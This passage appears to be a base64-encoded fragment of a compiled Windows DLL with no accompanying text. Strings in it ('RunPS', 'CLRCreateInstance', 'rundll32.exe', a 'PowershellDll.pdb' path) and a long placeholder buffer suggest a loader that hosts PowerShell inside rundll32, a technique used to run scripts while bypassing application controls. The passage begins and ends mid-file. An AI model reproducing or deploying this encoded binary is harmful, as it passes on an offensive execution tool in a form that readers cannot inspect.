AAAABsb2cAbG9nMTAAAABleHAAcG93AGFzaW4AAAAAYWNvcwAAAABzcXJ0AAAAAAAAAAAAAPA/QwBPAE4ATwBVAFQAJAAAAAAAAAAAAACAEEQAAAEAAAAAAACAADAAAAAAAAAAAAAAAAAAAAAAAAAAAOQKqAN8Pxv3US04BT49AADetp1Xiz8FMPv+CWs4PQCAlt6ucJQ/HeGRDHj8OT0AAD6OLtqaPxpwbp7RGzU9AMBZ99itoD+hAAAJUSobPQAAY8b3+qM/P/WB8WI2CD0AwO9ZHhenP9tUzz8avRY9AADHApA+qj+G09DIV9IhPQBAwy0zMq0/H0TZ+Nt6Gz0AoNZwESiwP3ZQryiL8xs9AGDx7B+csT/UVVMeP+A+PQDAZf0bFbM/lWeMBIDiNz0AYMWAJ5O0P/OlYs2sxC89AIDpXnMFtj+ffaEjz8MXPQCgSo13a7c/em6gEugDHD0AwOROC9a4P4JMTszlADk9AEAkIrQzuj81V2c0cPE2PQCAp1S2lbs/x052JF4OKT0A4OkCJuq8P8vLLoIp0es8AKBswbRCvj/pTY3zD+UlPQBgarEFjb8/p3e3oqWOKj0AIDzFm23AP0X64e6NgTI9AADerD4NwT+u8IPLRYoePQDQdBU/uME/1P+T8RkLAT0A0E8F/lHCP8B3KEAJrP48AOD0HDD3wj9BYxoNx/UwPQBQeQ9wlMM/ZHIaeT/pHz0AoLRTdCnEPzRLvMUJzj49AMD++iTKxD9RaOZCQyAuPQAwCRJ1YsU/LReqs+zfMD0AAPYaGvLFPxNhPi0b7z89AACQFqKNxj/QmZb8LJTtPAAAKGxYIMc/zVRAYqggPT0AUBz/lbTHP8UzkWgsASU9AKDOZqI/yD+fI4eGwcYgPQDwVgwOzMg/36DPobTjNj0A0Ofv31nJP+Xg/3oCICQ9AMDSRx/pyT8gJPJsDjM1PQBAA4ukbso/f1sruazrMz0A8FLFtwDLP3OqZExp9D09AHD5fOaIyz9yoHgiI/8yPQBALrrjBsw/fL1VzRXLMj0AAGzUnZHMP3Ks5pRGtg49AJATYfsRzT8Llq6R2zQaPQAQ/atZn80/c2zXvCN7ID0AYH5SPRbOP+STLvJpnTE9AKAC3Cyazj+H8YGQ9esgPQCQlHZYH88/AJAX6uuvBz0AcNsfgJnPP2iW8vd9cyI9ANAJRVsK0D9/JVMjW2sfPQDo+zeASNA/xhK5uZNqGz0AqCFWMYfQP67zv33aYTI9ALhqHXHG0D8ywTCNSuk1PQCo0s3Z/9A/gJ3x9g41Fj0AeMK+L0DRP4u6IkIgPDE9AJBpGZd60T+ZXC0hefIhPQBYrDB6tdE/foT/Yj7PPT0AuDoV2/DRP98ODCMuWCc9AEhCTw4m0j/5H6QoEH4VPQB4EaZiYtI/EhkMLhqwEj0A2EPAcZjSP3k3nqxpOSs9AIALdsHV0j+/CA++3uo6PQAwu6ezDNM/Mti2GZmSOD0AeJ9QE0TTP1izEh8x7x89AAAAAADA2z8AAAAAAMDbPwAAAAAAUds/AAAAAABR2z8AAAAA8OjaPwAAAADw6No/AAAAAOCA2j8AAAAA4IDaPwAAAADAH9o/AAAAAMAf2j8AAAAAoL7ZPwAAAACgvtk/AAAAAIBd2T8AAAAAgF3ZPwAAAABQA9k/AAAAAFAD2T8AAAAAIKnYPwAAAAAgqdg/AAAAAOBV2D8AAAAA4FXYPwAAAAAo/9c/AAAAACj/1z8AAAAAYK/XPwAAAABgr9c/AAAAAJhf1z8AAAAAmF/XPwAAAADQD9c/AAAAANAP1z8AAAAAgMPWPwAAAACAw9Y/AAAAAKh61j8AAAAAqHrWPwAAAADQMdY/AAAAANAx1j8AAAAAcOzVPwAAAABw7NU/AAAAABCn1T8AAAAAEKfVPwAAAAAoZdU/AAAAAChl1T8AAAAAQCPVPwAAAABAI9U/AAAAANDk1D8AAAAA0OTUPwAAAABgptQ/AAAAAGCm1D8AAAAAaGvUPwAAAABoa9Q/AAAAAPgs1D8AAAAA+CzUPwAAAAB49dM/AAAAAHj10z8AAAAAgLrTPwAAAACAutM/AAAAAACD0z8AAAAAAIPTPwAAAAD4TtM/AAAAAPhO0z8AAAAAeBfTPwAAAAB4F9M/AAAAAHDj0j8AAAAAcOPSPwAAAADgstI/AAAAAOCy0j8AAAAA2H7SPwAAAADYftI/AAAAAEhO0j8AAAAASE7SPwAAAAC4HdI/AAAAALgd0j8AAAAAoPDRPwAAAACg8NE/AAAAAIjD0T8AAAAAiMPRPwAAAABwltE/AAAAAHCW0T8AAAAAWGnRPwAAAABYadE/AAAAALg/0T8AAAAAuD/RPwAAAACgEtE/AAAAAKAS0T8AAAAAAOnQPwAAAAAA6dA/AAAAANjC0D8AAAAA2MLQPwAAAAA4mdA/AAAAADiZ0D8AAAAAEHPQPwAAAAAQc9A/AAAAAHBJ0D8AAAAAcEnQPwAAAADAJtA/AAAAAMAm0D8AAAAAmADQPwAAAACYANA/AAAAAOC0zz8AAAAA4LTPPwAAAACAb88/AAAAAIBvzz8AAAAAICrPPwAAAAAgKs8/AAAAAMDkzj8AAAAAwOTOPwAAAABgn84/AAAAAGCfzj8AAAAAAFrOPwAAAAAAWs4/AAAAAJAbzj8AAAAAkBvOPwAAAAAw1s0/AAAAADDWzT8AAAAAwJfNPwAAAADAl80/AAAAAFBZzT8AAAAAUFnNPwAAAADgGs0/AAAAAOAazT8AAAAAYOPMPwAAAABg48w/AAAAAPCkzD8AAAAA8KTMPwAAAABwbcw/AAAAAHBtzD8AAAAAAC/MPwAAAAAAL8w/AAAAAID3yz8AAAAAgPfLPwAAAAAAwMs/AAAAAADAyz8AAAAAAADgP3RhbmgAAAAAYXRhbgAAAABhdGFuMgAAAHNpbgBjb3MAdGFuAGNlaWwAAAAAZmxvb3IAAABmYWJzAAAAAG1vZGYAAAAAbGRleHAAAABfY2FicwAAAF9oeXBvdAAAZm1vZAAAAABmcmV4cAAAAF95MABfeTEAX3luAF9sb2diAAAAX25leHRhZnRlcgAAAAAAABQAAACAIAEQHQAAAIQgARAaAAAAdCABEBsAAAB4IAEQHwAAAHAqARATAAAAeCoBECEAAAD4KAEQDgAAAIggARANAAAAkCABEA8AAAAAKQEQEAAAAAgpARAFAAAAmCABEB4AAAAQKQEQEgAAABQpARAgAAAAGCkBEAwAAAAcKQEQCwAAACQpARAVAAAALCkBEBwAAAA0KQEQGQAAADwpARARAAAARCkBEBgAAABMKQEQFgAAAFQpARAXAAAAXCkBECIAAABkKQEQIwAAAGgpARAkAAAAbCkBECUAAABwKQEQJgAAAHgpARBzaW5oAAAAAGNvc2gAAAAAAAAAAAAA8H/////////vfwAAAAAAAACAcnVuZGxsMzIuZXhlAAAAAENMUkNyZWF0ZUluc3RhbmNlAAAAQ29yQmluZFRvUnVudGltZQAAAAB3AGsAcwAAAFByb2dyYW0AbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAdgAyAC4AMAAuADUAMAA3ADIANwAAAAAAUgB1AG4AUABTAAAAdgA0AC4AMAAuADMAMAAzADEAOQAAAAAAntsy07O5JUGCB6FIhPUyFiJnL8s6q9IRnEAAwE+jCj7clvYFKStjNq2LxDic8qcTI2cvyzqr0hGcQADAT6MKPo0YgJKODmdIswx/qDiE6N7S0Tm9L7pqSImwtLDLRmiRAAAAAAAAAAAAAAAAAAAAAJj5aFoAAAAAAgAAAEgAAABELgEARBYBAAAAAACY+WhaAAAAAAwAAAAUAAAAjC4BAIwWAQAAAAAAmPloWgAAAAANAAAA1AIAAKAuAQCgFgEAAAAAAJj5aFoAAAAADgAAAAAAAAAAAAAAAAAAAJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBAARAgLgEQCQAAAEjhABAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJoBELwsARAAAAAAAAAAAAEAAADMLAEQ1CwBEAAAAAAcmgEQAAAAAAAAAAD/////AAAAAEAAAAC8LAEQAAAAAAAAAAAAAAAAUJoBEAQtARAAAAAAAAAAAAEAAAAULQEQHC0BEAAAAABQmgEQAAAAAAAAAAD/////AAAAAEAAAAAELQEQAAAAAAAAAAAAAAAANJoBEEwtARAAAAAAAAAAAAIAAABcLQEQaC0BEBwtARAAAAAANJoBEAEAAAAAAAAA/////wAAAABAAAAATC0BEAAAAAAAAAAAAAAAAGyaARCYLQEQAAAAAAAAAAADAAAAqC0BELgtARBoLQEQHC0BEAAAAABsmgEQAgAAAAAAAAD/////AAAAAEAAAACYLQEQAAAAAAAAAAAAAAAAlJoBEOgtARAAAAAAAAAAAAIAAAD4LQEQBC4BEBwtARAAAAAAlJoBEAEAAAAAAAAA/////wAAAABAAAAA6C0BEKksAABILQAAkC8AADBDAACxRwAAv9EAABDSAAB30gAAnNIAAFJTRFO84x9c+/VuQ6yjn2TItRMNAQAAAEM6XFRlbXBcUG93ZXJzaGVsbERsbFxSZWxlYXNlXFBvd2Vyc2hlbGxEbGwucGRiAAAAAADDAAAAwwAAAAIAAADBAAAAR0NUTAAQAAAQAAAALnRleHQkZGkAAAAAEBAAAKDBAAAudGV4dCRtbgAAAACw0QAAEAEAAC50ZXh0JHgAwNIAAAwAAAAudGV4dCR5ZAAAAAAA4AAASAEAAC5pZGF0YSQ1AAAAAEjhAAAEAAAALjAwY2ZnAABM4QAABAAAAC5DUlQkWENBAAAAAFDhAAAEAAAALkNSVCRYQ1UAAAAAVOEAAAQAAAAuQ1JUJFhDWgAAAABY4QAABAAAAC5DUlQkWElBAAAAAFzhAAAMAAAALkNSVCRYSUMAAAAAaOEAAAQAAAAuQ1JUJFhJWgAAAABs4QAABAAAAC5DUlQkWFBBAAAAAHDhAAAIAAAALkNSVCRYUFgAAAAAeOEAAAQAAAAuQ1JUJFhQWEEAAAB84QAABAAAAC5DUlQkWFBaAAAAAIDhAAAEAAAALkNSVCRYVEEAAAAAhOEAAAwAAAAuQ1JUJFhUWgAAAACQ4QAAGEsAAC5yZGF0YQAAqCwBAHgBAAAucmRhdGEkcgAAAAAgLgEAJAAAAC5yZGF0YSRzeGRhdGEAAABELgEAMAMAAC5yZGF0YSR6enpkYmcAAAB0MQEABAAAAC5ydGMkSUFBAAAAAHgxAQAEAAAALnJ0YyRJWloAAAAAfDEBAAQAAAAucnRjJFRBQQAAAACAMQEACAAAAC5ydGMkVFpaAAAAAIgxAQCIBgAALnhkYXRhJHgAAAAAEDgBAGQAAAAuZWRhdGEAAHQ4AQA8AAAALmlkYXRhJDIAAAAAsDgBABQAAAAuaWRhdGEkMwAAAADEOAEASAEAAC5pZGF0YSQ0AAAAAAw6AQAYBQAALmlkYXRhJDYAAAAAAEABAABaAAAuZGF0YQAAAACaAQC4AAAALmRhdGEkcgC4mgEACAoAAC5ic3MAAAAAALABAGAAAAAucnNyYyQwMQAAAABgsAEAgAEAAC5yc3JjJDAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////7DRABAiBZMZAQAAAIgxARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAiBZMZBgAAANgxARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4NEAEAAAAADo0QAQAQAAAPDRABACAAAA+NEAEAMAAAAA0gAQBAAAAAjSABAiBZMZBgAAACwyARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////QNIAEAAAAABI0gAQAAAAAFfSABACAAAAX9IAEAMAAABn0gAQBAAAAG/SABAAAAAA5P///wAAAADI////AAAAAP7///+QGgAQlhoAEAAAAADgGwAQAAAAAIwyARABAAAAlDIBEAAAAAAAmgEQAAAAAP////8AAAAAEAAAAFAbABD+////AAAAAND///8AAAAA/v///wAAAAApHgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAK4eABAAAAAA/v///wAAAADU////AAAAAP7///+DHwAQoh8AEAAAAAD+////AAAAANj///8AAAAA/v///5UiABCoIgAQAAAAAN81ABAAAAAAPDMBEAIAAABIMwEQZDMBEBAAAAA0mgEQAAAAAP////8AAAAADAAAAMckABAAAAAAUJoBEAAAAAD/////AAAAAAwAAAAtJQAQAAAAAN81ABAAAAAAkDMBEAMAAACgMwEQSDMBEGQzARAAAAAAbJoBEAAAAAD/////AAAAAAwAAAD6JAAQAAAAAP7///8AAAAA2P///wAAAAD+////fS4AEIYuABAAAAAA/v///wAAAADY////AAAAAP7///+sPgAQsD4AEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACYQAAQAAAAAF1AABBnQAAQ/v///wAAAACo////AAAAAP7///8AAAAARDcAEAAAAACZNgAQozYAEEAAAAAAAAAAAAAAAOs3ABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAFA0ARAiBZMZAgAAAGA0ARABAAAAcDQBEAAAAAAAAAAAAAAAAAEAAAD+////AAAAAND///8AAAAA/v///9M/ABDXPwAQAAAAAN81ABAAAAAA1DQBEAIAAADgNAEQZDMBEAAAAACUmgEQAAAAAP////8AAAAADAAAAKw1ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAQ08AEAAAAADk////AAAAANT///8AAAAA/v///wAAAACdUgAQAAAAAIVSABCVUgAQ/v///wAAAADU////AAAAAP7///8AAAAAHlkAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABvWQAQAAAAAOT///8AAAAA1P///wAAAAD+////R14AEEteABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAcmIAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAB+YQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAN9hABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAKmIAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACPdwAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAEByABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAon0AEAAAAADk////AAAAALT///8AAAAA/v///wAAAACigQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPV+ABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAmYUAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD1iAAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAP+VABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAJJkAEAAAAAAAAAAA95gAEP7///8AAAAA0P///wAAAAD+////AAAAAACaABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAeZ0AEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAABrpAAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAJ+qABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAJ7cAEAAAAAD+////AAAAANj///8AAAAA/v////nFABAMxgAQAAAAAAAAAAD/////AAAAAEw4AQABAAAAAgAAAAIAAAA4OAEAQDgBAEg4AQBgGQAAcBkAAF44AQBnOAEAAAABAFBvd2Vyc2hlbGxEbGwuZGxsAFZvaWRGdW5jAFZvaWRGdW5jMgAAAADEOAEAAAAAAAAAAABwOgEAAOAAANg5AQAAAAAAAAAAAH46AQAU4QAABDoBAAAAAAAAAAAAmDoBAEDhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw6AQAiOgEAOjoBAEo6AQBcOgEAFj8BAAY/AQD2PgEA6D4BANQ+AQDCPgEAsj4BAJ4+AQCSPgEAgj4BAKQ6AQC0OgEAyjoBAOA6AQDsOgEACDsBACY7AQA6OwEATjsBAGo7AQCEOwEAmjsBALA7AQDKOwEA4DsBAPQ7AQAGPAEAEjwBACQ8AQA8PAEATDwBAFw8AQB0PAEAjDwBAKQ8AQDMPAEA2DwBAOY8AQD0PAEA/jwBAAw9AQAePQEALD0BAEI9AQBOPQEAWj0BAGo9AQB2PQEAij0BAJo9AQCsPQEAtj0BAMI9AQDOPQEA4D0BAPI9AQAMPgEAJj4BADg+AQBIPgEAVj4BAGg+AQB0PgEAAAAAABAAAIAIAACAFgAAgAYAAIACAACAGgAAgA8AAICbAQCACQAAgBUAAIAAAAAAjDoBAAAAAAATAkdldE1vZHVsZUZpbGVOYW1lQQAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAAPwNMb2FkTGlicmFyeVcAAEUCR2V0UHJvY0FkZHJlc3MAABgCR2V0TW9kdWxlSGFuZGxlVwAAS0VSTkVMMzIuZGxsAABPTEVBVVQzMi5kbGwAAEQBU3RyU3RySUEAAFNITFdBUEkuZGxsAAICR2V0TGFzdEVycm9yAABnA011bHRpQnl0ZVRvV2lkZUNoYXIAEQVXaWRlQ2hhclRvTXVsdGlCeXRlAEgDTG9jYWxGcmVlANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDAAUdldEN1cnJlbnRQcm9jZXNzAMAEVGVybWluYXRlUHJvY2VzcwAABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAMUBR2V0Q3VycmVudFRocmVhZElkAAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAOcCSW5pdGlhbGl6ZVNMaXN0SGVhZAAAA0lzRGVidWdnZXJQcmVzZW50AGMCR2V0U3RhcnR1cEluZm9XABgEUnRsVW53aW5kALEDUmFpc2VFeGNlcHRpb24AAO4CSW50ZXJsb2NrZWRGbHVzaFNMaXN0AHMEU2V0TGFzdEVycm9yAADqAEVuY29kZVBvaW50ZXIA7gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24A4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AMUEVGxzQWxsb2MAAMcEVGxzR2V0VmFsdWUAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUAYgFGcmVlTGlicmFyeQA+A0xvYWRMaWJyYXJ5RXhXAAAZAUV4aXRQcm9jZXNzABcCR2V0TW9kdWxlSGFuZGxlRXhXAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwAtA0xDTWFwU3RyaW5nVwAALgFGaW5kQ2xvc2UAMwFGaW5kRmlyc3RGaWxlRXhBAABDAUZpbmROZXh0RmlsZUEACgNJc1ZhbGlkQ29kZVBhZ2UAaAFHZXRBQ1AAADcCR2V0T0VNQ1AAAHIBR2V0Q1BJbmZvAIYBR2V0Q29tbWFuZExpbmVBAIcBR2V0Q29tbWFuZExpbmVXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAYQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBKAkdldFByb2Nlc3NIZWFwAABkAkdldFN0ZEhhbmRsZQAA8wFHZXRGaWxlVHlwZQBpAkdldFN0cmluZ1R5cGVXAADUAkhlYXBTaXplAADSAkhlYXBSZUFsbG9jAIcEU2V0U3RkSGFuZGxlAAAlBVdyaXRlRmlsZQBXAUZsdXNoRmlsZUJ1ZmZlcnMAAJoBR2V0Q29uc29sZUNQAACsAUdldENvbnNvbGVNb2RlAABnBFNldEZpbGVQb2ludGVyRXgAAFIAQ2xvc2VIYW5kbGUAJAVXcml0ZUNvbnNvbGVXAMoARGVjb2RlUG9pbnRlcgCPAENyZWF0ZUZpbGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwHAAQAAAAAAoAAAAAAAAABAACgA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AAAAAURwEQnKQBEJykARCcpAEQnKQBEJykARCcpAEQnKQBEJykARCcpAEQf39/f39/f38YRwEQoKQBEKCkARCgpAEQoKQBEKCkARCgpAEQoKQBEP7///8AAAAAAAAAAAAAAABBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA